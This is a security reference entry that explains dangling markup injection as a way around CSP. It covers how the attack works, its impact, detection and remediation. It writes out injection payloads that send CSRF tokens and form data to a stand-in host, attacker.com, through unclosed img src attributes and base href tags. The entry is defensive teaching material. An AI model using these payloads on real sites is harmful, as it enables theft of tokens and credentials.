Description
Dangling markup injection is a cross-site data exfiltration technique that operates without executing JavaScript. It exploits the HTML parser's attribute value parsing behaviour: when an unclosed attribute value is injected into a page, the parser continues consuming subsequent page content as part of that attribute value — including sensitive tokens, form fields, and other data — until it finds the matching closing character. If the attribute is a URL (such as src or action), the browser makes an HTTP request to the attacker's server with the captured page content as part of the URL.
CWE-116 — Improper Encoding or Escaping of Output describes the root cause: user input that should be treated as text is rendered as HTML markup. Dangling markup injection is particularly insidious because it works even when Content Security Policy (CSP) blocks script execution — it does not need JavaScript and cannot be blocked by script-src directives.
Under A03:2021 — Injection, the OWASP Top 10 groups it with other HTML injection vulnerabilities. It is especially relevant in applications that have deployed CSP to mitigate XSS but have not eliminated the underlying output encoding failure that allowed XSS in the first place.
How It Works
Consider an application that reflects a user-supplied name parameter into an HTML page, but has a CSP that prevents script execution:
GET /profile?name=Alice HTTP/1.1
→ <p>Welcome, Alice!</p>
<input type="hidden" name="csrf" value="a1b2c3d4e5f6">
The attacker injects an unclosed attribute value containing an external URL:
GET /profile?name=<img+src='https://attacker.com/collect?data= HTTP/1.1
The page becomes:
<p>Welcome, <img src='https://attacker.com/collect?data=
</p>
<input type="hidden" name="csrf" value="a1b2c3d4e5f6">
<!-- Parser continues consuming here as part of the src attribute -->
<p>Other page content that happens to contain a closing single quote -->
</p>
The browser's HTML parser continues reading the page as the value of the src attribute until it finds a closing single quote ('). Everything between the injection point and the first ' in subsequent markup — including the CSRF token value — is appended to the URL. The browser then makes a GET request to https://attacker.com/collect?data=<csrf_token_and_content>, sending the CSRF token to the attacker.
The attacker can then use the captured CSRF token to submit authenticated state-changing requests on behalf of any user who views a link to the injected page.
CSP bypass significance:
Content-Security-Policy: default-src 'self'; script-src 'none'; img-src *
The injection above bypasses this CSP completely because:
- No script tags or event handlers are used.
- The
img-src *directive allows images to load from any origin. - The exfiltration occurs via a browser-initiated
GETrequest for an image resource.
Even img-src 'self' can be bypassed using other resource-loading attributes (<base href>, <link prefetch>).
Impact
- CSRF token theft — the most targeted outcome: captured CSRF tokens enable state-changing requests on behalf of victims who view the injected page.
- Sensitive data exfiltration — any text appearing between the injection point and a matching closing character is sent to the attacker, potentially including account numbers, email addresses, or internal values.
- Form action hijacking —
<base href>injection redirects form submissions to the attacker's domain, harvesting credentials and other form data. - Password manager exposure — some password managers auto-fill credentials into forms on known pages; base injection can redirect that auto-filled data to attacker infrastructure.
- CSP bypass — dangling markup provides a data exfiltration channel in applications that have deployed CSP but not fixed the underlying output encoding vulnerability.
Detection
- Test for HTML attribute injection — inject
"><img src=x(closing the context first with">), then<img src=x, and finally<img src='https://attacker.com/?to test for dangling attribute contexts. - Use Burp Collaborator — set the attacker URL to a Burp Collaborator payload (
https://burpcollab.net/xyz?data=) and inspect the Collaborator for incoming HTTP requests after a test user views the injected page. - Test for
<base>tag injection — inject<base href="https://attacker.com/">and check whether subsequent relative URL requests on the page are redirected to the attacker domain. - Check CSP for img-src permissiveness — review the CSP
img-srcdirective. A wildcard (*) or external domain allowance means dangling markup is directly exploitable for token exfiltration. - Verify output encoding completeness — confirm that the application encodes
<,>,",', and backtick in all HTML contexts, not just in the immediate vicinity of the injected value.
Remediation
Apply complete output encoding. Encode all five HTML special characters (<, >, ", ', `) in every HTML context. Dangling markup requires an unencoded < to inject the tag and an unencoded ' or " to open the attribute value.
Implement a restrictive Content Security Policy. Restrict img-src, script-src, form-action, base-uri, and default-src to 'self'. Specifically, setting base-uri 'none' or base-uri 'self' prevents <base> tag injection entirely:
Content-Security-Policy: base-uri 'self'; img-src 'self'; form-action 'self';
Use the require-trusted-types-for 'script' CSP directive — this prevents DOM manipulation via injection in supported browsers.
Validate that CSRF tokens are not included in GET-accessible pages. Move CSRF token delivery to a dedicated API endpoint requested with credentials, rather than embedding the token in rendered HTML where it can be exfiltrated.
